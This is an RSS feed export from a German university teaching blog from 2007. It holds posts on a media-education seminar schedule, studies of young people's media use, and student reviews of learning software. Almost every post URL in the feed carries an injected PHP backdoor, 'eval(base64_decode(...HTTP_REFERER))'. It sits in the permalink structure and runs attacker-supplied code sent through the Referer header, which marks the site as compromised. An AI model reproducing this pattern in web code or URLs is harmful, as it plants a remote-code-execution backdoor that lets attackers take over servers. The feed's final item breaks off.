<em>Thema A	Vielnutzung/Sucht/Verwahrlosung &#8211; ein echtes Problem? (Patrick Stumpe)<br />
</em>Thema B	Medienverwahrlosung als p&#228;dagogisches Handlungsfeld der 		Elternbildung<br />
Thema C	Cyber Bullying</p>
<p>Themen im Block &#8211; Freitag nachmittags<br />
<em>Thema D	Medienwirkung Gewalt Video / Musik / Videospiele (Jenni Bergm&#252;ller)<br />
</em>Thema E	Medienwirkung &#8211; wie forschen?<br />
<em>Thema F	Second Life und andere virtuelle Umgebungen  (Johanna Adamczak)<br />
</em><br />
Themen im Block &#8211; Samstag vormittag<br />
Thema G	Medienkompetenz &#8211; Bielefelder Modell (Anna Schneekloth)<br />
Thema H 	Medienkompetenz &#038; New Media Literacy<br />
Thema I	Medienkompetenz messen (+ Erhebung)</p>
<p>Themen im Block &#8211; Samstag nachmittag<br />
<em>Thema J	Klassische Ans&#228;tze der Medienerziehung (Jan Kappert)<br />
</em>Termin K	Neue Anforderungen an die  Medienerziehung &#8211; Medienerziehung 2.0?<br />
Termin L	Aktuelle medienp&#228;dagogische Handlungsans&#228;tze</p>
<p><strong>Ablauf und Durchf&#252;hrung</strong><br />
Jedes Thema hat ca. 1 Stunde Zeit, das Thema aktiv mit den KommilitionInEn zu erarbeiten, diskutieren, zusammenzufassen, erlebbar zu machen. Dazu erstellen sie bis zum 13. Januar 2008 folgendes:</p>
<ul>
<li>ein Blogeintrag auf dem Veranstaltungsblog mit einer Material und Linksammlung sowie einem Verlaufsentwurf f&#252;r die Stunde (http://www.didactalab.de/teachlab/wp-admin).
</li>
<li>eine Pr&#228;sentation mit den  wichtigsten Informationen zum Thema, die sie bitte auf http://www.slideshare.net hochladen und mit dem Tag „medienseminar2008“ auszeichnen. Am besten stellen sie die Pr&#228;sentation auch in ihren Blogeintrag ein.</li>
</ul>
<p>Ab dem <strong>14. Januar 2008 bis zum 17. Januar</strong> schauen sich alle die Beitr&#228;ge und Pr&#228;sentationen an &#8211; bitte nutzen sie die Kommentarfunktion auf dem Bog wie auch auf Slideshare, um konstruktive Kommentare zu geben (zus&#228;tzliche Hinweise, Verbesserungsvorschl&#228;ge, etc.).</p>
<p>&#220;berarbeiten sie dann bitte <strong>bis zum 20. Januar 2008</strong> ihren Blogeintrag (am besten Verwalten->Beitrag und dann unter den bisherigen Eintrag die &#196;nderungen und Anpassungen) sowie ihre Pr&#228;sentation (bitte neu und extra hochladen und nicht &#252;ber die vorhandene Version hochladen &#8211; sonst verlieren wir alle Kommentare in Slideshare) . </p>
<p><strong>25. &#8211; 26. Januar</strong> Durchf&#252;hrung des Blockseminars.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/12/12/infos-zur-blockveranstaltung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Heute: Infoveranstaltung Blockseminar</title>
		<link>http://www.didactalab.de/teachlab/2007/12/12/infoveranstaltung-blockseminar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/12/12/infoveranstaltung-blockseminar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Dec 2007 10:09:12 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Organisatorisches]]></category>
		<category><![CDATA[wolf]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=366</guid>
		<description><![CDATA[Liebe Studierende, die Veranstaltung &#8220;Mediennutzung und -verwahrlosung als medienp&#228;dagogische Forschungs- und Handlungsfeld&#8221; wird als Block angeboten: 25.-26. Januar Freitag: 10-18 Uhr Samstag: 10-16:30 Uhr Vorbesprechungstermin: 12. Dezember Mittwoch: 15-17 Uhr Raum 4194 im MZH Weitere Infos zur Veranstaltung finden sich unter http://teachlab.didactalab.de]]></description>
			<content:encoded><![CDATA[<p>Liebe Studierende,<br />
die Veranstaltung &#8220;Mediennutzung und -verwahrlosung als medienp&#228;dagogische Forschungs- und Handlungsfeld&#8221; wird als Block angeboten:</p>
<p>25.-26. Januar<br />
Freitag: 10-18 Uhr<br />
Samstag: 10-16:30 Uhr</p>
<p>Vorbesprechungstermin:<br />
12.  Dezember<br />
Mittwoch: 15-17 Uhr<br />
<strong>Raum 4194 im MZH</strong></p>
<p>Weitere Infos zur Veranstaltung finden sich unter</p>
<p>http://teachlab.didactalab.de</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/12/12/infoveranstaltung-blockseminar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Educating the NetGeneration &#8211; Warum und wie?</title>
		<link>http://www.didactalab.de/teachlab/2007/11/04/educating-the-netgeneration-warum-und-wie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/11/04/educating-the-netgeneration-warum-und-wie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 04 Nov 2007 21:02:32 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Fundstücke]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Literatur]]></category>
		<category><![CDATA[Reflektionen]]></category>
		<category><![CDATA[wolf]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=362</guid>
		<description><![CDATA[Heute geht es um die Frage: haben Ver&#228;nderungsprozesse wie z.B. die Mediatisierung und die Globalisierung eigentlich eine Bedeutung f&#252;r Themen wie Bildung und Erziehung? Zum Einstieg erstmal ein Pr&#228;sentation von Karl Fisch: In Pr&#228;sentationsform von von jbrenman etwas &#8220;aufgebrezelt&#8221; (oder auf neudeutsch &#8220;gepimpt&#8221;): &#124; View &#124; Upload your own Die Pr&#228;sentation versucht klar zu machen, [...]]]></description>
			<content:encoded><![CDATA[<p>Heute geht es um die Frage: haben Ver&#228;nderungsprozesse wie z.B. die Mediatisierung und die Globalisierung eigentlich eine Bedeutung f&#252;r Themen wie Bildung und Erziehung?</p>
<p>Zum Einstieg erstmal ein Pr&#228;sentation von <a href="http://thefischbowl.blogspot.com/2007/06/did-you-know-20.html">Karl Fisch</a>:<br />
<object width="425" height="366"><param name="movie" value="http://www.youtube.com/v/pMcfrLYDm2U&#038;rel=1&#038;border=0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/pMcfrLYDm2U&#038;rel=1&#038;border=0" type="application/x-shockwave-flash" wmode="transparent" width="425" height="366"></embed></object></p>
<p>In Pr&#228;sentationsform von  von <a href="http://www.slideshare.net/jbrenman/shift-happens-33834">jbrenman</a> etwas &#8220;aufgebrezelt&#8221; (oder auf neudeutsch &#8220;gepimpt&#8221;):</p>
<div style="width:425px;text-align:left" id="__ss_33834"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://s3.amazonaws.com/slideshare/ssplayer2.swf?doc=shift-happens-23665"/><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://s3.amazonaws.com/slideshare/ssplayer2.swf?doc=shift-happens-23665" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"><a href="http://www.slideshare.net/?src=embed"><img src="http://s3.amazonaws.com/slideshare/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"/></a> | <a href="http://www.slideshare.net/jbrenman/shift-happens-33834" title="View 'Shift Happens' on SlideShare">View</a> | <a href="http://www.slideshare.net/upload">Upload your own</a></div>
</div>
<p>Die Pr&#228;sentation versucht klar zu machen, dass &#8220;das einzig konstante die Ver&#228;nderung ist&#8221; und gibt einen kleinen Eindruck in m&#246;gliche Zukunftsszenarien. OK, recht polemisch und unterschiedlichste Datenquellen ohne deren genaue Angabe nutzend &#8211; aber selbst David Berliner hat die Pr&#228;sentation neulich in G&#246;ttingen genutzt.</p>
<p>Wenn wir uns auf das Szenario einlassen, was bedeutet das f&#252;r zuk&#252;nftige Bildungsprozesse? Wie m&#252;ssen wir mit den zuk&#252;nftigen Sch&#252;ler/innen umgehen? </p>
<p>Hierzu nun ein Text &#8220;Educating the NetGeneration&#8221; von educause:<br />
<a href='http://www.educause.edu/content.asp?PAGE_ID=5989&#038;bhcp=1'><img src='http://www.didactalab.de/teachlab/wp-content/uploads/2007/11/netgen_ebook_cover.thumbnail.jpg' alt='netgen_ebook_cover.jpg' /></a></p>
<p>Eine <a href="http://lernundenter.com/interaktion/netgeneration/netgeneration.pdf">deutsch-sprachige Kurzversion</a> gibt es von Dieter Euler und Sabine Seuffert an der Uni St. Gallen. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/11/04/educating-the-netgeneration-warum-und-wie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Studien zur Mediennutzung von Kindern und Jugendlichen: Und der Fernseher sagt leise Tsch&#252;&#223;?</title>
		<link>http://www.didactalab.de/teachlab/2007/10/29/studien-zur-mediennutzung-von-kindern-und-jugendlichen-und-der-fernseher-sagt-leise-tschuess/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/10/29/studien-zur-mediennutzung-von-kindern-und-jugendlichen-und-der-fernseher-sagt-leise-tschuess/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 29 Oct 2007 09:43:21 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Aufgaben]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Organisatorisches]]></category>
		<category><![CDATA[wolf]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=360</guid>
		<description><![CDATA[Seit 1998 gibt es die JIM bzw. seit 1999 die KIM Studien des Medienp&#228;dagogischen Forschungsverbundes S&#252;dwest. Hier findet sich eine F&#252;lle an Informationen &#252;ber die Mediennutzung Kindern (6-13 J&#228;hrige) und Jugendlichen (12-19 J&#228;hrige). Die neuen Ergebnisse zur Web 2.0 Nutzung werden wir uns noch einmal gesondert an einem sp&#228;teren Termin anschauen. Sehr spannend finde ich [...]]]></description>
			<content:encoded><![CDATA[<p>Seit 1998 gibt es die <a href="http://www.mpfs.de/index.php?id=11">JIM</a> bzw. seit 1999 die <a href="http://www.mpfs.de/index.php?id=10">KIM</a> Studien des <a href="http://www.mpfs.de/">Medienp&#228;dagogischen Forschungsverbundes S&#252;dwest</a>. Hier findet sich eine F&#252;lle an Informationen &#252;ber die Mediennutzung Kindern (6-13 J&#228;hrige) und Jugendlichen (12-19 J&#228;hrige). Die <a href="http://www.mpfs.de/fileadmin/images/PM_mpfs_03_JIM07_Web2.0.pdf">neuen Ergebnisse zur Web 2.0 Nutzung</a> werden wir uns noch einmal gesondert an einem sp&#228;teren Termin anschauen.</p>
<p>Sehr spannend finde ich die Entwicklung der Medienbindung von 1998 bis 2006 bez&#252;glich der Medienbindung. Die Kombi Computer und Internet ist f&#252;r 50% der Jugendlichen das wichtigste Medium! Allerdings meine eine Kommilitonin, wo denn da das Handy sei! Sehr guter Einwand &#8211; das h&#228;tte sicherlich alles an die Seite gestellt. Hier nochmal die  entsprechenden Grafiken aus der <a href="http://www.mpfs.de/index.php?id=42">98er</a> und der <a href="http://www.mpfs.de/index.php?id=86">06er</a> JIM-Studie im Vergleich:</p>
<p><a href='http://www.didactalab.de/teachlab/wp-content/uploads/2007/10/jim98vs06-medienbindung.png' border='0'><img src='http://www.didactalab.de/teachlab/wp-content/uploads/2007/10/jim98vs06-medienbindung.png' alt='jim98vs06-medienbindung.png'  class='left' width='450px' /></a></p>
<p><strong>Fragestellungen</strong></p>
<ul>
<li>Welche Ergebnisse finden Sie besonders spannend oder &#252;berraschend?</li>
<li>Gibt es international vergleichbare Studien und wie unterscheiden sich die Ergebnisse?</li>
<li>Welche Fragestellungen h&#228;tten sie gerne beantwortet die in JIM/KIM fehlen?</li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Themen zur Veranstaltung Mediennutzung und -verwahrlosung</title>
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		<pubDate>Mon, 29 Oct 2007 09:13:43 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Aufgaben]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Literatur]]></category>
		<category><![CDATA[wolf]]></category>

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		<description><![CDATA[F&#252;r die Veranstaltung &#8220;Mediennutzung und -verwahrlosung als medienp&#228;dagogische Forschungs- und Handlungsfelder&#8221; (Montags 8-10 im SFG 2040) gibt es folgende Themen zur Bearbeitung: Termin 2 29.10.07 JIM/KIM/etc. &#8211; Empirische Daten zur Mediennutzung Termin 3 05.11.07 Educating the Net Generation &#038; Gender Issues Termin 4 12.11.07 Dumbing down or up &#8211; Werden Medien immer d&#252;mmer? Termin 5 [...]]]></description>
			<content:encoded><![CDATA[<p><img src='http://www.didactalab.de/teachlab/wp-content/uploads/2007/10/calendar.gif' alt='calendar.gif' class='left'/>F&#252;r die Veranstaltung &#8220;Mediennutzung und -verwahrlosung als medienp&#228;dagogische Forschungs- und Handlungsfelder&#8221; (Montags 8-10 im SFG 2040) gibt es folgende Themen zur Bearbeitung:<br />
<strong>Termin 2</strong>	29.10.07	JIM/KIM/etc. &#8211; Empirische Daten zur Mediennutzung<br />
<strong>Termin 3</strong>	05.11.07	Educating the Net Generation &#038; Gender Issues<br />
<strong>Termin 4</strong>	12.11.07	Dumbing down or up &#8211; Werden Medien immer d&#252;mmer?<br />
<strong>Termin 5</strong>	19.11.07	Vielnutzung/Sucht/Verwahrlosung &#8211; ein echtes Problem?<br />
<strong>Termin 6</strong>	26.11.07	Medienwirkung Gewalt Video / Musik / Videospiele (siehe auch <a href="http://www.didactalab.de/wp-main/?m=200611">ein paar Blog-Beitr&#228;ge von mir dazu</a> sowie <a href="http://www.bpb.de/themen/DKZCBJ,0,Verbotene_Spiele.html">bpb</a><br />
<strong>Termin 7</strong>	03.12.07	Medienwirkung &#8211; wie forschen?<br />
<strong>Termin 8</strong>	10.12.07	Cyber Bullying + Online Erhebung<br />
<strong>Termin 9</strong>	17.12.07	Medienkompetenz &#8211; Bielefelder Modell<br />
<strong>Termin 10</strong> 	07.01.08	Medienkompetenz and Social Media? + Erhebung<br />
<strong>Termin 11</strong>	14.01.08	Klassische Ans&#228;tze der Medienerziehung<br />
<strong>Termin 12</strong>	21.01.08	Neue Ans&#228;tze der Medienerziehung<br />
<strong>Termin 13</strong>	28.01.08	Medienerziehung 2.0? + Thesenpapier<br />
<strong>Termin 14</strong>	04.02.08	Evaluation, Klausur- und Hausarbeitenbesprechung</p>
<p>Allgemeine Infos auch unter <a href="http://www.schau-hin.info/">Schau-Hin!</a></p>
]]></content:encoded>
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		</item>
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		<title>Lernsoftware im Unterricht einsetzbar?</title>
		<link>http://www.didactalab.de/teachlab/2007/09/21/lernsoftware-im-unterricht-einsetzbar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Fri, 21 Sep 2007 09:45:32 +0000</pubDate>
		<dc:creator>Anusche Jalali</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Kritik]]></category>

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		<description><![CDATA[Da wir heute in einer multimedialen Welt leben und die Kinder praktisch schon mit der Muttermilch den Umgang mit Computern aufsaugen, muss sich auch die Schule als Bildungsst&#228;tte mit der Frage auseinandersetzen, ob der Unterricht zus&#228;tzlich digitalisiert werden soll. Mittlerweile wird es wohl keine Schule mehr geben, an der die Kinder keinen Zugang zu einem [...]]]></description>
			<content:encoded><![CDATA[<p>Da wir heute in einer multimedialen Welt leben und die Kinder praktisch schon mit der Muttermilch den Umgang mit Computern aufsaugen, muss sich auch die Schule als Bildungsst&#228;tte mit der Frage auseinandersetzen, ob der Unterricht zus&#228;tzlich digitalisiert werden soll. Mittlerweile wird es wohl keine Schule mehr geben, an der die Kinder keinen Zugang zu einem Computer- oder Medienraum haben. Da das Angebot an Bildungs- und Lernsoftware eine gro&#223;e Palette umfasst, wird es f&#252;r den Lehrer schwierig, sich im gro&#223;en Pool der Angebote zurechtzufinden. Vor allem deswegen, weil es leider kaum eine Unterrichtssoftware gibt, die speziell f&#252;r den Unterricht hergestellt ist und zudem den Lehrplan, an dem sich der Lehrer zu orientieren hat, ber&#252;cksichtigt. Besonders problematisch ist au&#223;erdem, dass ein Lehrer beim Einsatz einer Lernsoftware nie richtig differenzieren kann. Das bedeutet konkret, dass diese manchen Sch&#252;lern eher zur Last werden kann, als zum zus&#228;tzlichen Hilfs- oder Lehrmedium. Nat&#252;rlich gibt es mittlerweile Reaktionen, zu dieser Problematik, aus der Forschung. So erarbeitet zum Beispiel das Pestalozzianum in Z&#252;rich, durch den konkreten Einsatz von, der auf dem Markt angebotenen, Bildungssoftware im Unterricht einen Kriterienkatalog(Quelle:http://www.medienpaed.com/02-1/). Die in dieser Studie erfassten Daten belegen das angesprochene Problem, des Anspruchs einer objektiven Qualit&#228;tsbeurteilung. Je gr&#246;&#223;er die Forderungen der Medien und der Gesellschaft sein werden, den Unterricht durch Lernsoftwares `aufzupeppen´, desto intensiver muss sich die Forschung bem&#252;hen, empirische Studien zu liefern, damit der Einsatz zunehmend spezifisch und konsequenter erfolgen kann. Auch die Schulpolitik wird gefragt sein sich mit dieser Problematik zunehmend zu besch&#228;ftigen. Es muss zus&#228;tzlich erkannt sein, dass die Kinder heutzutage zwar relativ sicher im Umgang mit aktuellen `PC-Games´ umgehen k&#246;nnen und sich sicherlich auch gerne lange damit besch&#228;ftigen wollen, solange das Angebot spannend und unterhaltsam ist, es aber belegt ist, dass sie sich daf&#252;r sehr schwer tun &#252;ber l&#228;ngere Zeit mit `uninteressanten´ Dingen zu besch&#228;ftigen. Da aber nicht alle Lernsoftwares wie PC-Spiele aufgebaut sind, wird der Lehrer im Unterricht mit der Unzufriedenheit seiner Sch&#252;ler konfrontiert werden. Dem Lehrer m&#252;ssen sehr praktische und klar formulierte Informationen zur Software and die Hand gegeben werden. Auch sollte die Forschung sehr praxisnah und in Zusammenarbeit mit Lehrern und Sch&#252;lern erfolgen, damit ihr Erfolg gesichert ist. Das E-Learning sehr viel Potential besitzt steht meiner Ansicht nach au&#223;er Frage. Die Zukunft des E-Learnings kann aber nur durch Qualit&#228;tssicherung gesichert werden. Da in Wirtschaft und Technik, aber auch im allt&#228;glichen Leben der Einsatz von Computern immer spezieller und selbstverst&#228;ndlicher wird, ist es selbstverst&#228;ndlich, dass Schule als Bildungs- und Erziehungsinstanz reagieren muss. Ein Kriterienkatalog muss anschaulich sein. Das hei&#223;t der Lehrer m&#252;sste mehr Informationen erhalten, als beispielsweise (f&#252;r das Fach Chemie auf der Seite: <a href="http://www.lernsoftware.de/">www.lernsoftware.de</a> gefunden): <strong>Beschreibung:</strong> Atombau, Periodensystem, chemische Bindungen.<strong> Eignung und Einstufung:</strong><font size="2"><font face="Arial"><strong> </strong><em>F&#252;r Sch&#252;ler in Klasse 7 bis 10. Im Gebiet Chemie ist &#8211; Mediothek Chemie 1 Netzwerklizenz &#8211; von Klett (Schule) ein Titel aus der Kategorie Schule ab Kl. 07 / Prozesse / Unterrichtssoftware / Sekundarstufe 1 / Lehrersoftware. Mediothek Chemie 1 Netzwerklizenz geh&#246;rt zur Reihe Mediothek, in der noch weitere Titel erschienen sind. USK-Einstufung: Lehrprogramm gem&#228;&#223; § 14 JuSchG.</em></font></font></p>
<p><font size="2" face="Arial"><font size="3" face="Georgia">Eine solche Beschreibungist f&#252;r den Lehrer und seine Unterrichtsvorbereitung absolut unzureichend. So manche Software ist eher verwirrend und nach dem Einsatz einer solchen Software hat man dann gegen Missverst&#228;ndnisse und falsche Erkenntnisse zu k&#228;mpfen. So kann in einer Chemiebezogenen Software, bei der die Sauerstoff-Atome als `Luft´ gekennzeichnet sind, die Kinder zur Annahme verleiten, dass die Luft nur aus Sauerstoff besteht. Oder wenn bei einem Daniell-Element die Elektronen gr&#252;n gekennzeichnet sind(Quelle:http://www.chemgapedia.de/). Es k&#246;nnen leicht Verst&#228;ndigungsprobleme entstehen. Auf die Frage hin, welche Farbe denn Elektronen haben, k&#246;nnte die Antwort kommen:gr&#252;n nat&#252;rlich! Genauso wie nach der Werbung von YELLOW-Strom, die Farbe des Stroms f&#252;r viele Sch&#252;ler `gelb´ war. Solche Fehler sind nur schwer zu korrigieren und behindern das sp&#228;tere Lernen. es wird edeutlich, wie wichtig klare und korrekte Angaben sind, und wie eindeutig Grafiken und Animationen dargestellt werden m&#252;ssen. All diese Dinge m&#252;ssen Fachspezifisch ber&#252;cksichtigt werden und es wird deutlich, welcher Aufgabe sich die Forschung konfrontiert sieht.</font></font></p>
]]></content:encoded>
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		<title>Rezension zur Lernsoftware  &#8220;Fritz und Fertig&#8221;</title>
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		<pubDate>Thu, 06 Sep 2007 18:33:47 +0000</pubDate>
		<dc:creator>Lina Laderer</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Fritz &#38; Fertig
Schach lernen und trainieren
Terzio Verlag/ ChessBase

Publiziert: M&#252;nchen 2002
Rezension
1.Grundlegende Informationen

Fritz und Fertig ist ein kompletter, interaktiver Schachlehrgang f&#252;r Kinder ab 8 Jahren.

Dieser wurde von Terzio auf der Basis von „Fritz“ dem bekannten Schachprogramm von ChessBase entwickelt. Der Terzio Verlag stellt unterschiedliche Medien f&#252;r Kinder im Alter von 3 –14 Jahren her. Er ist bekannt f&#252;r hochwertige Software, nicht nur im Lernbereich.]]></description>
			<content:encoded><![CDATA[<h2>Fritz &amp; Fertig</h2>
<h3>Schach lernen und trainieren</h3>
<h3>Terzio Verlag/ <u>ChessBase</u></h3>
<p>Publiziert: M&#252;nchen 2002</p>
<h3>Rezension</h3>
<h3>1.<u>Grundlegende Informationen</u></h3>
<p>Fritz und Fertig ist ein kompletter,  interaktiver Schachlehrgang f&#252;r Kinder ab 8 Jahren.</p>
<p>Dieser wurde von Terzio auf der Basis von „Fritz“ dem bekannten Schachprogramm von ChessBase entwickelt. Der Terzio Verlag stellt unterschiedliche Medien f&#252;r Kinder im Alter von 3 –14 Jahren her. Er ist bekannt f&#252;r hochwertige Software, nicht nur im Lernbereich.</p>
<p>Als  Systhemvoraussetzungen wird die gesamte Bandbreite von Windows angegeben: WIN 95/ 98/ ME, WinNT, Win2000, WinXP.</p>
<p>F&#252;r Linux und Macintosh kann das Programm nicht genutzt werden</p>
<p>Das Beiheft zur CD-Rom gibt Informationen &#252;ber die Installation, sowie einen kurzen &#220;berblick &#252;ber die verschiedenen Spielstationen.</p>
<p>Au&#223;erdem bietet Fritz und Fertig einen Zugang zum Fritz-Schachserver. Auf <a href="http://www.schach.de/">www.schach.de</a>, kann  man gegen andere Spieler antreten, Partien verfolgen, und anderes mehr.</p>
<p>Wer mehr lesen m&#246;chte klicke auf die Datei: <a href="http://www.didactalab.de/teachlab/wp-content/uploads/2007/11/fritz.htm" title="fritz.htm">fritz.htm</a></p>
<p><strong><u> </u></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/09/06/rezension-zur-lernsoftware-fritz-und-fertig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>&#8220;Tell Me More -Franz&#246;sisch&#8221;</title>
		<link>http://www.didactalab.de/teachlab/2007/07/18/tell-me-more-franzoesisch/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/18/tell-me-more-franzoesisch/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 18 Jul 2007 20:18:41 +0000</pubDate>
		<dc:creator>Anke</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Als Datei haben Celia Schmidt und ich die Bewertung der Lernsoftware &#8220;Tell Me More -Franz&#246;sisch&#8221; beigef&#252;gt: Lernsoftware Tell Me More]]></description>
			<content:encoded><![CDATA[<p>Als Datei haben Celia Schmidt und ich die Bewertung der Lernsoftware &#8220;Tell Me More -Franz&#246;sisch&#8221; beigef&#252;gt:</p>
<p><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2007/07/lernsoftwaretell-me-more.doc" title="Lernsoftware Tell Me More">Lernsoftware Tell Me More</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/07/18/tell-me-more-franzoesisch/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nanoreisen Bewertung</title>
		<link>http://www.didactalab.de/teachlab/2007/07/18/nanoreisen-bewertung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/18/nanoreisen-bewertung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 18 Jul 2007 14:08:11 +0000</pubDate>
		<dc:creator>nils</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=348</guid>
		<description><![CDATA[Bezug: www.nanoreisen.de Nanoreisen kann aber auch &#252;ber den VDI oder das BMBF bezogen werden. Nanoreisen war eine Initiative des BMBF und des VDI zur Erg&#228;nzung eines Informationsprojektes &#252;ber die Nanotechnik. In 2005 wurden von dem VDI&#38;BMBF- Infotruck viele Klein- und Gro&#223;st&#228;dte angefahren. Der Infotruck stellt sich an vielen &#246;ffentlich Orten, z.B. Unis, Markpl&#228;tze etc. auf und erm&#246;glichte allen Passanten den [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Bezug: </strong><strong>www.nanoreisen.de</strong></p>
<p>Nanoreisen kann aber auch &#252;ber den VDI oder das BMBF bezogen werden.</p>
<p>Nanoreisen war eine Initiative des BMBF und des VDI zur Erg&#228;nzung eines Informationsprojektes &#252;ber die Nanotechnik. In 2005 wurden von dem VDI&amp;BMBF- Infotruck viele Klein- und Gro&#223;st&#228;dte angefahren. Der Infotruck stellt sich an vielen &#246;ffentlich Orten, z.B. Unis, Markpl&#228;tze etc. auf und erm&#246;glichte allen Passanten den Zugang zur Nanotechnik.</p>
<p>Deshalb ist die Software auch nicht als reine Lernsoftware, mit vielen Interaktionen, zu verstehen. Viel mehr sollen durch Grafiken Vorstellung erweitert, erg&#228;nzt oder &#252;berhaupt geschaffen werden. Besonders im Naturwissenschaftlichen Unterricht kann diese Software eine gute Erg&#228;nzung in Projekten oder f&#252;r Pr&#228;sentationen darstellen.</p>
<p><strong><u>Inhalt und Lernziele: </u><br />
</strong></p>
<p><strong>Themen:</strong> Mikro- und Nanokosmos</p>
<p><strong>Lernziele</strong>: Verbesserung, Erg&#228;nzung und Entwicklung einer Vorstellung des Aufbaus der Materie und darauf basierender Materialien bzw. Natur.</p>
<p><strong>Klassenstufe: </strong>alle</p>
<p><strong>Schwierigkeitsgrad:</strong> -</p>
<p><strong>Bewertung: </strong>✩ ✩ ✩ ✩ ✩</p>
<p><strong><u>P&#228;dagogische Eignung:</u></strong></p>
<p><strong>Nutzung</strong>: Pr&#228;sentation, Alleine</p>
<p><strong>Einsatz</strong>: Wiederholung und Vertiefung, aber auch einsetzbar in der Einf&#252;hrung.</p>
<p><strong>Minimale sinnvolle Spielzeit</strong>: -</p>
<p><strong>Bewertung: </strong>✩ ✩ ✩<br />
<strong><u>Didaktik:</u></strong></p>
<p><strong>Interaktionsm&#246;glichkeiten</strong>: wenige</p>
<p><strong>Ansatz</strong>: vermittelnd</p>
<p><strong>Bewertung: </strong>✩</p>
<p><strong><u>Lernerfolge r&#252;ckmelden:</u></strong></p>
<p><strong>R&#252;ckmeldungen:</strong> -</p>
<p><strong>Visualisierung des Lernerfolgs</strong>: -</p>
<p><strong>Bewertung: </strong>keine Bewertung</p>
<p><em><br />
</em></p>
<p><strong><u>Spa&#223; &amp; Gestaltung:</u></strong></p>
<p><u>Sehr aufwendige Graphiken</u></p>
<p><strong>Bewertung: </strong>✩ ✩ ✩ ✩ ✩</p>
<p><strong><u></u></strong></p>
<p><strong><u>Ausstattung/Handhabung:</u></strong><u> </u></p>
<p>PC: 1 GHz Prozessor<br />
256 MB Arbeitsspeicher<br />
ab WIN-98 + Soundkarte</p>
<p>MAC: G4 Prozessor<br />
256 MB Arbeitsspeicher<br />
Mac OS 9, Mac OS X</p>
<p><strong>Preis-Leistung:</strong></p>
<p>Keine Kosten, FREEWARE</p>
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		</item>
		<item>
		<title>Beurteilung Lernsoftware &#8220;JOBLAB&#8221;</title>
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		<pubDate>Wed, 18 Jul 2007 14:03:25 +0000</pubDate>
		<dc:creator>Susanne</dc:creator>
				<category><![CDATA[Allgemein]]></category>

